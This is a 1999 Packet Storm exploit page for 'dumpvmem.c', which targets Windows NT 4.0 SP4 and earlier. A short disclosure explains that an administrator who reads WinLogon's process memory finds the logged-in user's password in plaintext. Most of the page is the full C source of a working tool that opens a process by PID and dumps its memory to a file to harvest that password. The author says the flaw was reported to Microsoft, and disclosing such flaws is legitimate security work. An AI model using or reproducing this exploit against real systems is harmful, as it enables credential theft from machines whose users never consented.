exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

dumpvmem.c

dumpvmem.c
Posted Dec 7, 1999
Authored by Robert Horvick

Windows NT, SP4 and below, the logged in users password in plaintext is visable if logged in as administrator. Exploit program included.

tags | exploit
systems | windows
SHA-256 | ef393b1c31ee295c74d2bfb982a58283a0e01fb5d57528ad651e7b3a7835a665

dumpvmem.c

Change Mirror Download
While this does require admin rights for this to work the implications of
social engineering or an exploit to run after compromising the admin account
are obvious. I contacted MS about this and they indicated it was fixed in
NT 4.0 SP5 - I have not retested it on SP5 yet to be sure. This does work
on SP4 (and presumably previous SP versions as well). I also don't see
anything in SP5's release note discussing this change - unless they have
chosen a sufficiently benign way of phrasing the problem.

The basic idea is that if WinLogon's process is opened (OpenProcess) with
PROCESS_VM_READ and then the VM is read with ReadProcessMemory - within the
first several hundred bytes (in the form of Unicode environment variables)
is the logged in users password, twice, in plaintext in an easy to parse
format.

Here is some code to demonstrate this - you must be running as administrator
for this to work:

/***************************************************************
* dumpvmem
*
* dumps the contents of a process virtual mem to a file for
* browsing later. If run with admin privs and the process
* winlogon is used ... the users password is all over the
* place in the first few hundred bytes.
*
* Robert Horvick [Kanin] Great Plains Software
* 12/2/1999 rhorvick@acm.org
*
*
* Command Line
* pid - decimal process id
* szPath - path to the file to dump memory to
*
****************************************************************/

#include <windows.h>
#include <stdio.h>

/*
* Highly inefficient - allocations occur in page size minimums.
* They should be used for real work. Since
* the password shows up so quickly ... meh.
*/
DWORD DumpMemory(HANDLE hProc, LPSTR szPath)
{
LPSTR lpOffset = (void*)1;
CHAR vBuf[1];
DWORD dwRead = 0;
BOOL bLastRead = FALSE;
DWORD dwDumpedBytes = 0;

FILE *f;
f = fopen(szPath, "wb");
if(f)
{
while(lpOffset++)
{
if(ReadProcessMemory( hProc,
lpOffset,
vBuf,
1,
&dwRead))
{
if(bLastRead)
{
fprintf(f, "%c", vBuf[0]);
}
else
{
fprintf(f, "\noffset %lx\n", lpOffset);
fprintf(f, "%c", vBuf[0]);
bLastRead = TRUE;
}
dwDumpedBytes++;
}
else
{
bLastRead = FALSE;
}
}
fclose(f);
}
else
{
fprintf(stderr, "Unable to open %s", szPath);
}

return dwDumpedBytes;
}

int main(int argc, char **argv)
{
DWORD dwPid = 0;
BOOL bWorked = FALSE;
HANDLE hProc = 0;
char *szPath = 0;

if (argc < 2)
{
fprintf(stderr, "dumpvmem <pid> <path to dump file>");

return EXIT_FAILURE;
}

dwPid = atol(argv[1]);
szPath = argv[2];

hProc = OpenProcess(PROCESS_VM_READ, FALSE, dwPid);

if(hProc)
{
/* Play nice ... that is a tight loop up there. */
HANDLE hMe = GetCurrentProcess();
SetPriorityClass(hMe, IDLE_PRIORITY_CLASS);

DumpMemory(hProc, szPath);
CloseHandle(hProc);
}
else
{
fprintf(stderr, "Unable to open %ld for PROCESS_VM_READ\n", dwPid);
}

return 0;
}

The created file will be obvious enough.

Robert Horvick, Fargo ND

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close